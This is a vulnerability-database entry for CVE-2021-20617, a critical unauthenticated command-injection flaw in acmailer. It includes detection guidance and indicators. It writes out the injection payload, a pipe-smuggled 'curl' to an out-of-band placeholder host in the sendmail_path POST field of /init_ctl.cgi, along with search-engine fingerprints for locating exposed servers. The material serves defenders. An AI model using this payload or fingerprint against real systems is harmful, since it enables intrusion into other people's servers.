CVE-2021-20617

published 2021-01-14

CVE-2021-20617: Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an…

Priority P1 82 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

ITW EXPLOIT VulnCheck KEV

Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an arbitrary OS command, or gain an administrative privilege which may result in obtaining the sensitive information on the server via unspecified vectors.

Affected

3 ranges

Vendor	Product	Version range	Fixed in
acmailer	acmailer	<= 4.0.1	—
acmailer	acmailer_db	<= 1.1.3	—
seeds_co_ltd	acmailer_and_acmailer_db	—	—

Detection & IOCs extracted from sources · hover to see the quote

url POST /init_ctl.cgi↗

path /init_ctl.cgi↗

command sendmail_path=|curl http://{{interactsh-url}}↗

other shodan: title="ACMAILER4.0"↗

other fofa: title="ACMAILER4.0"↗

• → Exploit targets the /init_ctl.cgi endpoint via HTTP POST with a pipe-injected sendmail_path parameter to trigger OS command execution via curl callback (OOB/OAST detection). ↗
• → Successful exploitation results in an HTTP 302 redirect response; monitor for 302 responses from /init_ctl.cgi combined with OOB curl callbacks. ↗
• → OOB confirmation: look for inbound HTTP requests with 'User-Agent: curl' originating from the target server after a POST to /init_ctl.cgi. ↗
• → Content-Type of the exploit request is application/x-www-form-urlencoded; filter POST requests to /init_ctl.cgi with this content type and a pipe character in the sendmail_path field. ↗
• → Exposed acmailer instances can be discovered via Shodan/FOFA using the title fingerprint 'ACMAILER4.0'; use this to identify internet-facing vulnerable assets. ↗

• · The exploit payload uses a pipe-injected sendmail_path (|curl ...) to achieve OS command injection; the injection vector is the sendmail_path POST parameter, not a separate binary or config file. ↗
• · Vulnerability affects acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier; scope is limited to these version ranges. ↗
• · The attack vector is unauthenticated (PR:N, UI:N) — no prior authentication or user interaction is required to exploit /init_ctl.cgi. ↗

CVSS provenance

nvd v3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 10.0 CRITICAL AV:N/AC:L/Au:N/C:C/I:C/A:C

vulncheck 9.8 CRITICAL

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